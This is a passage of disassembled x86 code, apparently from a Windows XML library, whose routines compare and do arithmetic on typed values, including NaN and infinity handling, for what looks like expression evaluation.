; Attributes: bp-based frame
sub_69B64008 proc near ; CODE XREF: sub_69B644A4+1Dp
; sub_69B644F1+1Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push [ebp+arg_4] ; int
dec eax
mov eax, [ebp+arg_0]
push ecx ; pbstrOut
jz short loc_69B64026
imul eax, 7
add eax, [ecx]
call off_69B99EB0[eax*4]
jmp short loc_69B64032
; ---------------------------------------------------------------------------
loc_69B64026: ; CODE XREF: sub_69B64008+Ej
imul eax, 7
add eax, [ecx]
call off_69B99F78[eax*4]
loc_69B64032: ; CODE XREF: sub_69B64008+1Cj
pop ebp
retn 0Ch
sub_69B64008 endp
; =============== S U B R O U T I N E =======================================
sub_69B64036 proc near ; CODE XREF: sub_69B64E66+2Ep
; sub_69B64F86+6Ep ...
push 0Ch
push offset dword_69B64088
call sub_69B19C5C
and dword ptr [ebp-4], 0
push dword ptr [ebp+8] ; lpString
call sub_69B1A587
mov [ebp-1Ch], eax
jmp short loc_69B6406D
; ---------------------------------------------------------------------------
loc_69B64053: ; DATA XREF: .text:69B6408Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B6405C: ; DATA XREF: .text:69B64090o
mov esp, [ebp-18h]
push dword ptr [ebp+8] ; BSTR
call SysFreeString
call sub_69B2E860
loc_69B6406D: ; CODE XREF: sub_69B64036+1Bj
or dword ptr [ebp-4], 0FFFFFFFFh
push dword ptr [ebp+8] ; BSTR
call SysFreeString
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 4
sub_69B64036 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B64088 dd 0FFFFFFFFh dd offset loc_69B64053
dd offset loc_69B6405C
; =============== S U B R O U T I N E =======================================
sub_69B64094 proc near ; CODE XREF: sub_69B64363+D2p
; sub_69B65227+3Ep
fld dbl_69B9B2D8
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 44h
jp short loc_69B640B8
and dword ptr dbl_69B9B2D8, 0
mov dword ptr dbl_69B9B2D8+4, 0FFF80000h
loc_69B640B8: ; CODE XREF: sub_69B64094+11j
fld dbl_69B9B2D8
retn
sub_69B64094 endp
; =============== S U B R O U T I N E =======================================
sub_69B640BF proc near ; CODE XREF: sub_69B64363+E9p
fld dbl_69B9B2E0
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 44h
jp short loc_69B640E3
and dword ptr dbl_69B9B2E0, 0
mov dword ptr dbl_69B9B2E0+4, 7FF00000h
loc_69B640E3: ; CODE XREF: sub_69B640BF+11j
fld dbl_69B9B2E0
retn
sub_69B640BF endp
; =============== S U B R O U T I N E =======================================
sub_69B640EA proc near ; CODE XREF: sub_69B64363:loc_69B64453p
fld dbl_69B9B2E8
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 44h
jp short loc_69B6410E
and dword ptr dbl_69B9B2E8, 0
mov dword ptr dbl_69B9B2E8+4, 0FFF00000h
loc_69B6410E: ; CODE XREF: sub_69B640EA+11j
fld dbl_69B9B2E8
retn
sub_69B640EA endp
; =============== S U B R O U T I N E =======================================
sub_69B64115 proc near ; CODE XREF: sub_69B64999+2Ap
; sub_69B64A14+109p ...
arg_0 = dword ptr 4
cmp byte ptr [ecx+4], 0
mov eax, [esp+arg_0]
mov dword ptr [ecx], 6
mov [ecx+8], eax
jz short locret_69B6412E
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
locret_69B6412E: ; CODE XREF: sub_69B64115+11j
retn 4
sub_69B64115 endp
; =============== S U B R O U T I N E =======================================
sub_69B64131 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
movzx eax, byte ptr [eax+8]
push eax
mov eax, [esp+4+arg_4]
movzx eax, byte ptr [eax+8]
push eax
call sub_69B63EC8
mov ecx, [esp+arg_C]
mov [ecx], eax
xor eax, eax
inc eax
retn 10h
sub_69B64131 endp
; =============== S U B R O U T I N E =======================================
sub_69B64154 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
mov eax, [esp+8+arg_4]
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
call sub_69B63EE8
mov ecx, [esp+arg_C]
mov [ecx], eax
xor eax, eax
inc eax
retn 10h
sub_69B64154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64179 proc near ; CODE XREF: sub_69B642AB+68p
; sub_69B642AB+7Cp ...
var_24 = qword ptr -24h
var_1C = qword ptr -1Ch
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
fld qword ptr [eax+8]
mov eax, [ebp+arg_8]
fstp [ebp+var_10]
push esi
fld qword ptr [eax+8]
push ecx
fstp [ebp+var_8]
push ecx ; double
fld [ebp+var_10]
fstp [esp+1Ch+var_1C]
call sub_69B84BCE
fld [ebp+var_8]
mov esi, eax
fstp [esp+1Ch+var_1C]
call sub_69B84BCE
cmp esi, 2
pop ecx
pop ecx
jle short loc_69B6421A
cmp eax, 2
jle short loc_69B6421A
cmp esi, 4
jz short loc_69B6420A
mov ecx, 200h
cmp esi, ecx
jz short loc_69B641FC
cmp eax, 4
jz short loc_69B641EB
cmp eax, ecx
jz short loc_69B641EB
fld [ebp+var_8]
sub esp, 10h
fstp [esp+24h+var_1C]
fld [ebp+var_10]
fstp [esp+24h+var_24]
call sub_69B63F19
mov ecx, [ebp+arg_C]
mov [ecx], eax
jmp short loc_69B64243
; ---------------------------------------------------------------------------
loc_69B641EB: ; CODE XREF: sub_69B64179+50j
; sub_69B64179+54j
cmp esi, ecx
jz short loc_69B641FC
xor ecx, ecx
cmp esi, eax
setnle cl
lea ecx, [ecx+ecx-1]
jmp short loc_69B64213
; ---------------------------------------------------------------------------
loc_69B641FC: ; CODE XREF: sub_69B64179+4Bj
; sub_69B64179+74j
xor edx, edx
cmp eax, ecx
mov eax, [ebp+arg_C]
setnz dl
mov [eax], edx
jmp short loc_69B64243
; ---------------------------------------------------------------------------
loc_69B6420A: ; CODE XREF: sub_69B64179+42j
xor ecx, ecx
cmp eax, 4
setz cl
dec ecx
loc_69B64213: ; CODE XREF: sub_69B64179+81j
mov eax, [ebp+arg_C]
mov [eax], ecx
jmp short loc_69B64243
; ---------------------------------------------------------------------------
loc_69B6421A: ; CODE XREF: sub_69B64179+38j
; sub_69B64179+3Dj
mov ecx, [ebp+arg_0]
and ecx, 7
jz short loc_69B6422B
mov edx, dword_69B9A094[ecx*4]
jmp short loc_69B64231
; ---------------------------------------------------------------------------
loc_69B6422B: ; CODE XREF: sub_69B64179+A7j
mov edx, dword_69B9A09C
loc_69B64231: ; CODE XREF: sub_69B64179+B0j
cmp eax, 2
mov ecx, [ebp+arg_C]
mov [ecx], edx
jg short loc_69B64243
test byte ptr [ebp+arg_0], 20h
jz short loc_69B64243
neg dword ptr [ecx]
loc_69B64243: ; CODE XREF: sub_69B64179+70j
; sub_69B64179+8Fj ...
xor eax, eax
inc eax
pop esi
leave
retn 10h
sub_69B64179 endp
; =============== S U B R O U T I N E =======================================
sub_69B6424B proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_8]
fld qword ptr [eax+8]
mov eax, [esp+arg_4]
sub esp, 10h
fstp [esp+10h+var_8]
fld qword ptr [eax+8]
fstp [esp+10h+var_10]
call sub_69B63F52
mov ecx, [esp+arg_C]
mov [ecx], eax
xor eax, eax
inc eax
retn 10h
sub_69B6424B endp
; =============== S U B R O U T I N E =======================================
sub_69B64274 proc near ; CODE XREF: sub_69B6496E+13p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
mov edx, [eax+8]
mov eax, [eax+0Ch]
mov ecx, [esp+arg_4]
push esi
mov esi, [ecx+8]
mov ecx, [ecx+0Ch]
push edx
push eax
mov eax, [esp+0Ch+arg_0]
push esi
shr eax, 3
push ecx
and eax, 1
push eax
call ds:GetThreadLocale ; GetThreadLocale
push eax
call ds:SHLWAPI_45
dec eax
dec eax
pop esi
retn 0Ch
sub_69B64274 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B642AB proc near ; CODE XREF: sub_69B645E4+144p
; sub_69B65333+12p ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
pbstrOut = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
xor eax, eax
cmp [ebp+arg_C], 1
push ebx
push esi
mov [ebp+var_20], eax
mov [ebp+var_1C], al
mov [ebp+var_10], eax
mov [ebp+var_C], al
jnz short loc_69B64330
mov ebx, [ebp+arg_0]
mov esi, [ebp+pbstrOut]
mov eax, ebx
and eax, 7
test bl, 20h
jnz short loc_69B6431A
cmp eax, 2
jz short loc_69B6431A
cmp eax, 5
jz short loc_69B6431A
mov eax, [ecx]
cmp eax, 6
jz short loc_69B6431A
cmp dword ptr [esi], 6
jz short loc_69B6431A
lea edx, [ebp+var_20]
push edx ; int
push ecx ; pbstrOut
call off_69B99FCC[eax*4]
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx ; int
push esi ; pbstrOut
call off_69B99FCC[eax*4]
push [ebp+arg_8]
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_20]
push eax
push ebx
call sub_69B64179
jmp short loc_69B64349
; ---------------------------------------------------------------------------
loc_69B6431A: ; CODE XREF: sub_69B642AB+2Aj
; sub_69B642AB+2Fj ...
mov eax, [ecx]
push [ebp+arg_8]
imul eax, 7
add eax, [esi]
push esi
push ecx
push ebx
call off_69B99DE8[eax*4]
jmp short loc_69B64349
; ---------------------------------------------------------------------------
loc_69B64330: ; CODE XREF: sub_69B642AB+1Aj
mov edx, [ecx]
push [ebp+arg_8]
imul edx, 7
mov eax, [ebp+pbstrOut]
add edx, [eax]
push eax
push ecx
push [ebp+arg_0]
call off_69B99D20[edx*4]
loc_69B64349: ; CODE XREF: sub_69B642AB+6Dj
; sub_69B642AB+83j
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
lea ecx, [ebp+var_20]
call sub_69B466CC
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_69B642AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64363 proc near ; CODE XREF: sub_69B69CBF+5Dp
arg_0 = dword ptr 8
pbstrOut = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, ecx
mov eax, [ebx]
push 3
pop edi
cmp eax, edi
jz short loc_69B6437D
push ebx ; int
push ebx ; pbstrOut
call off_69B99FCC[eax*4]
loc_69B6437D: ; CODE XREF: sub_69B64363+Fj
cmp [ebp+arg_0], edi
mov esi, [ebp+pbstrOut]
jz short loc_69B643D4
xor eax, eax
cmp esi, eax
jz short loc_69B6438F
cmp [esi], eax
jnz short loc_69B643A9
loc_69B6438F: ; CODE XREF: sub_69B64363+26j
push 80004005h
push eax
push eax
push 0C00CE604h
call sub_69B2F944
add esp, 0Ch
push eax
call sub_69B2E8A2
loc_69B643A9: ; CODE XREF: sub_69B64363+2Aj
mov eax, [esi]
push esi ; int
push esi ; pbstrOut
call off_69B99FCC[eax*4]
cmp [esi], edi
jz short loc_69B643D4
push 80004005h
push 0
push 0
push 0C00CE604h
call sub_69B2F944
add esp, 0Ch
push eax
call sub_69B2E8A2
loc_69B643D4: ; CODE XREF: sub_69B64363+20j
; sub_69B64363+53j
cmp [ebx], edi
jz short loc_69B643F4
push 80004005h
push 0
push 0
push 0C00CE604h
call sub_69B2F944
add esp, 0Ch
push eax
call sub_69B2E8A2
loc_69B643F4: ; CODE XREF: sub_69B64363+73j
mov eax, [ebp+arg_0]
dec eax
jz loc_69B6448F
dec eax
jz loc_69B64487
dec eax
jz short loc_69B6447C
dec eax
jz short loc_69B64462
dec eax
jz short loc_69B6441D
dec eax
jnz loc_69B6449D
fld qword ptr [esi+8]
fmul qword ptr [ebx+8]
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B6441D: ; CODE XREF: sub_69B64363+A9j
fldz
fcomp qword ptr [esi+8]
fnstsw ax
test ah, 44h
jp short loc_69B6445A
fldz
fcomp qword ptr [ebx+8]
fnstsw ax
test ah, 44h
jp short loc_69B6443C
call sub_69B64094
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B6443C: ; CODE XREF: sub_69B64363+D0j
fld qword ptr [ebx+8]
fcomp ds:dbl_69B29700
fnstsw ax
test ah, 41h
jnz short loc_69B64453
call sub_69B640BF
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B64453: ; CODE XREF: sub_69B64363+E7j
call sub_69B640EA
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B6445A: ; CODE XREF: sub_69B64363+C4j
fld qword ptr [ebx+8]
fdiv qword ptr [esi+8]
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B64462: ; CODE XREF: sub_69B64363+A6j
fld qword ptr [ebx+8]
fld st
fdiv qword ptr [esi+8]
call sub_69B1A82C
mov [ebp+arg_0], eax
fild [ebp+arg_0]
fmul qword ptr [esi+8]
fsubp st(1), st
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B6447C: ; CODE XREF: sub_69B64363+A3j
fld qword ptr [ebx+8]
fmul ds:dbl_69B296B0
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B64487: ; CODE XREF: sub_69B64363+9Cj
fld qword ptr [ebx+8]
fsub qword ptr [esi+8]
jmp short loc_69B64495
; ---------------------------------------------------------------------------
loc_69B6448F: ; CODE XREF: sub_69B64363+95j
fld qword ptr [esi+8]
fadd qword ptr [ebx+8]
loc_69B64495: ; CODE XREF: sub_69B64363+B8j
; sub_69B64363+D7j ...
mov eax, [ebp+arg_8]
fstp qword ptr [eax+8]
mov [eax], edi
loc_69B6449D: ; CODE XREF: sub_69B64363+ACj
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B64363 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B644A4 proc near ; CODE XREF: sub_69B642AB+97p
; sub_69B644A4+35p ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_8]
and [ebp+var_10], 0
push esi
mov esi, [ebp+arg_4]
push 2
lea eax, [ebp+var_10]
push eax
push dword ptr [esi]
mov [ebp+var_C], 0
call sub_69B64008
mov eax, [esi]
push [ebp+arg_C]
imul eax, 7
add eax, [ebp+var_10]
lea ecx, [ebp+var_10]
push ecx
push esi
push [ebp+arg_0]
call off_69B99D20[eax*4]
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 10h
sub_69B644A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B644F1 proc near ; CODE XREF: sub_69B642AB+97p
; sub_69B644A4+35p ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_4]
and [ebp+var_10], 0
push esi
mov esi, [ebp+arg_8]
push 2
lea eax, [ebp+var_10]
push eax
push dword ptr [esi]
mov [ebp+var_C], 0
call sub_69B64008
mov eax, [ebp+var_10]
push [ebp+arg_C]
imul eax, 7
add eax, [esi]
push esi
lea ecx, [ebp+var_10]
push ecx
push [ebp+arg_0]
call off_69B99D20[eax*4]
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 10h
sub_69B644F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6453E proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
pbstrOut = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+pbstrOut]
and [ebp+var_10], 0
push esi
mov esi, [ebp+arg_4]
mov eax, [esi]
imul eax, 7
add eax, [ecx]
lea edx, [ebp+var_10]
push edx ; int
push ecx ; pbstrOut
mov [ebp+var_C], 0
call off_69B99F78[eax*4]
mov eax, [esi]
push [ebp+arg_C]
imul eax, 7
add eax, [ebp+var_10]
lea ecx, [ebp+var_10]
push ecx
push esi
push [ebp+arg_0]
call off_69B99DE8[eax*4]
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 10h
sub_69B6453E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64591 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
pbstrOut = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+pbstrOut]
and [ebp+var_10], 0
push esi
mov esi, [ebp+arg_8]
mov eax, [esi]
imul eax, 7
add eax, [ecx]
lea edx, [ebp+var_10]
push edx ; int
push ecx ; pbstrOut
mov [ebp+var_C], 0
call off_69B99F78[eax*4]
mov eax, [ebp+var_10]
push [ebp+arg_C]
imul eax, 7
add eax, [esi]
push esi
lea ecx, [ebp+var_10]
push ecx
push [ebp+arg_0]
call off_69B99D20[eax*4]
lea ecx, [ebp+var_10]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 10h
sub_69B64591 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B645E4 proc near ; CODE XREF: sub_69B6476C+14p
; sub_69B64788+14p ...
var_24 = qword ptr -24h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
pbstrOut = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
push edi
mov edi, [ebp+arg_8]
mov ecx, [edi+8]
mov [ebp+var_C], 0
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz short loc_69B6461D
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and eax, 7
mov eax, dword_69B9A094[eax*4]
xor esi, esi
mov [ecx], eax
inc esi
jmp loc_69B6475C
; ---------------------------------------------------------------------------
loc_69B6461D: ; CODE XREF: sub_69B645E4+1Dj
mov esi, [ebp+arg_0]
cmp esi, 2
push ebx
jz short loc_69B64665
cmp esi, 5
jz short loc_69B64665
mov ebx, [ebp+pbstrOut]
mov eax, [ebx]
push ebx ; int
push ebx ; pbstrOut
mov byte ptr [ebp+arg_0+3], 1
call off_69B99FCC[eax*4]
fld qword ptr [ebx+8]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_69B84BCE
cmp eax, 2
pop ecx
pop ecx
jg short loc_69B6466C
mov ecx, [ebp+arg_C]
and esi, 7
mov eax, dword_69B9A094[esi*4]
mov [ecx], eax
jmp loc_69B64758
; ---------------------------------------------------------------------------
loc_69B64665: ; CODE XREF: sub_69B645E4+40j
; sub_69B645E4+45j
mov ebx, [ebp+pbstrOut]
mov byte ptr [ebp+arg_0+3], 0
loc_69B6466C: ; CODE XREF: sub_69B645E4+6Bj
mov ecx, [edi+8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jz loc_69B6471A
mov edi, [ebp+arg_C]
jmp short loc_69B64684
; ---------------------------------------------------------------------------
loc_69B64681: ; CODE XREF: sub_69B645E4+12Bj
mov ebx, [ebp+pbstrOut]
loc_69B64684: ; CODE XREF: sub_69B645E4+9Bj
mov edx, [eax]
push 0
push 4
mov ecx, eax
call dword ptr [edx+4Ch]
push eax
lea ecx, [ebp+var_10]
call sub_69B48684
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B646A3
push 3
pop eax
jmp short loc_69B646A6
; ---------------------------------------------------------------------------
loc_69B646A3: ; CODE XREF: sub_69B645E4+B8j
mov eax, [ebp+arg_10]
loc_69B646A6: ; CODE XREF: sub_69B645E4+BDj
imul eax, 7
add eax, [ebp+var_10]
lea ecx, [ebp+var_10]
push ecx ; int
lea ecx, [ebp+var_10]
push ecx ; pbstrOut
call off_69B99F78[eax*4]
cmp [ebp+var_10], 0
jnz short loc_69B646C7
cmp [ebp+arg_10], 0
jnz short loc_69B646E1
loc_69B646C7: ; CODE XREF: sub_69B645E4+DBj
cmp byte ptr [ebp+arg_0+3], 0
jz short loc_69B6471E
fld [ebp+var_8]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_69B84BCE
cmp eax, 2
pop ecx
pop ecx
jg short loc_69B6471E
loc_69B646E1: ; CODE XREF: sub_69B645E4+E1j
mov eax, esi
and eax, 7
mov eax, dword_69B9A094[eax*4]
mov [edi], eax
loc_69B646EF: ; CODE XREF: sub_69B645E4+153j
or ebx, 0FFFFFFFFh
loc_69B646F2: ; CODE XREF: sub_69B645E4+166j
cmp ebx, 1
jz short loc_69B64758
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov eax, [ecx]
call dword ptr [eax+40h]
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
jnz loc_69B64681
cmp ebx, 0FFFFFFFFh
jnz short loc_69B6474C
loc_69B6471A: ; CODE XREF: sub_69B645E4+92j
xor esi, esi
jmp short loc_69B6475B
; ---------------------------------------------------------------------------
loc_69B6471E: ; CODE XREF: sub_69B645E4+E7j
; sub_69B645E4+FBj
push 1
push edi
lea eax, [ebp+var_10]
push eax
mov ecx, ebx
push esi
call sub_69B642AB
cmp [ebp+arg_14], 0
jz short loc_69B64735
neg dword ptr [edi]
loc_69B64735: ; CODE XREF: sub_69B645E4+14Dj
test eax, eax
jz short loc_69B646EF
mov eax, esi
and eax, 7
lea eax, [eax+eax*2]
add eax, [edi]
mov ebx, dword_69B9A044[eax*4]
jmp short loc_69B646F2
; ---------------------------------------------------------------------------
loc_69B6474C: ; CODE XREF: sub_69B645E4+134j
and esi, 7
mov eax, dword_69B9A094[esi*4]
mov [edi], eax
loc_69B64758: ; CODE XREF: sub_69B645E4+7Cj
; sub_69B645E4+111j
xor esi, esi
inc esi
loc_69B6475B: ; CODE XREF: sub_69B645E4+138j
pop ebx
loc_69B6475C: ; CODE XREF: sub_69B645E4+34j
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
leave
retn 18h
sub_69B645E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B6476C proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 0
push 3
push [esp+8+arg_C]
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_69B645E4
retn 10h
sub_69B6476C endp
; =============== S U B R O U T I N E =======================================
sub_69B64788 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 1
push 5
push [esp+8+arg_C]
push [esp+0Ch+arg_4]
push [esp+10h+arg_8]
push [esp+14h+arg_0]
call sub_69B645E4
retn 10h
sub_69B64788 endp
; =============== S U B R O U T I N E =======================================
sub_69B647A4 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 1
push 3
push [esp+8+arg_C]
push [esp+0Ch+arg_4]
push [esp+10h+arg_8]
push [esp+14h+arg_0]
call sub_69B645E4
retn 10h
sub_69B647A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B647C0 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_4 = dword ptr 8
pbstrOut = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+pbstrOut]
mov eax, [esi]
push esi ; int
push esi ; pbstrOut
call off_69B99F94[eax*4]
push [esp+4+arg_C]
push esi
push [esp+0Ch+arg_4]
push 0
call sub_69B64131
pop esi
retn 10h
sub_69B647C0 endp
; =============== S U B R O U T I N E =======================================
sub_69B647E4 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push 0
push 5
push [esp+8+arg_C]
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
call sub_69B645E4
retn 10h
sub_69B647E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B64800 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
pbstrOut = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push esi
mov esi, [esp+4+pbstrOut]
mov eax, [esi]
push esi ; int
push esi ; pbstrOut
call off_69B99F94[eax*4]
push [esp+4+arg_C]
push [esp+8+arg_8]
push esi
push 0
call sub_69B64131
pop esi
retn 10h
sub_69B64800 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B64824 proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B6453E+3Bp
; DATA XREF: ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov eax, [ecx]
push ebx
push esi
push edi
call dword ptr [eax+3Ch]
and [ebp+var_10], 0
mov edi, eax
test edi, edi
mov [ebp+var_C], 0
jz short loc_69B648B8
mov ebx, [ebp+arg_C]
mov esi, [ebp+arg_0]
loc_69B6484C: ; CODE XREF: sub_69B64824+8Cj
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov eax, [ecx]
call dword ptr [eax+44h]
mov eax, [edi]
push 0
push 4
mov ecx, edi
call dword ptr [eax+4Ch]
push eax
lea ecx, [ebp+var_10]
call sub_69B48684
push 0
push 5
push ebx
push [ebp+arg_8]
lea eax, [ebp+var_10]
push eax
push esi
call sub_69B645E4
test eax, eax
jz short loc_69B64897
mov eax, esi
and eax, 7
lea eax, [eax+eax*2]
add eax, [ebx]
mov eax, dword_69B9A044[eax*4]
mov [ebp+arg_C], eax
jmp short loc_69B6489B
; ---------------------------------------------------------------------------
loc_69B64897: ; CODE XREF: sub_69B64824+5Bj
or [ebp+arg_C], 0FFFFFFFFh
loc_69B6489B: ; CODE XREF: sub_69B64824+71j
cmp [ebp+arg_C], 1
jz short loc_69B648C8
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov eax, [ecx]
call dword ptr [eax+40h]
mov edi, eax
test edi, edi
jnz short loc_69B6484C
cmp [ebp+arg_C], 0FFFFFFFFh
jnz short loc_69B648BC
loc_69B648B8: ; CODE XREF: sub_69B64824+20j
xor esi, esi
jmp short loc_69B648CB
; ---------------------------------------------------------------------------
loc_69B648BC: ; CODE XREF: sub_69B64824+92j
and esi, 7
mov eax, dword_69B9A094[esi*4]
mov [ebx], eax
loc_69B648C8: ; CODE XREF: sub_69B64824+7Bj
xor esi, esi
inc esi
loc_69B648CB: ; CODE XREF: sub_69B64824+96j
lea ecx, [ebp+var_10]
call sub_69B466CC
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_69B64824 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B648DC proc near ; CODE XREF: sub_69B642AB+7Cp
; sub_69B642AB+97p ...
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
and [ebp+var_10], 0
push esi
mov esi, [ebp+arg_8]
mov ecx, [esi+8]
mov [ebp+var_C], 0
mov eax, [ecx]
call dword ptr [eax+3Ch]
test eax, eax
mov edx, [esi]
jnz short loc_69B64909
mov eax, [ebp+arg_C]
mov dword ptr [eax], 1
xor esi, esi
jmp short loc_69B64942
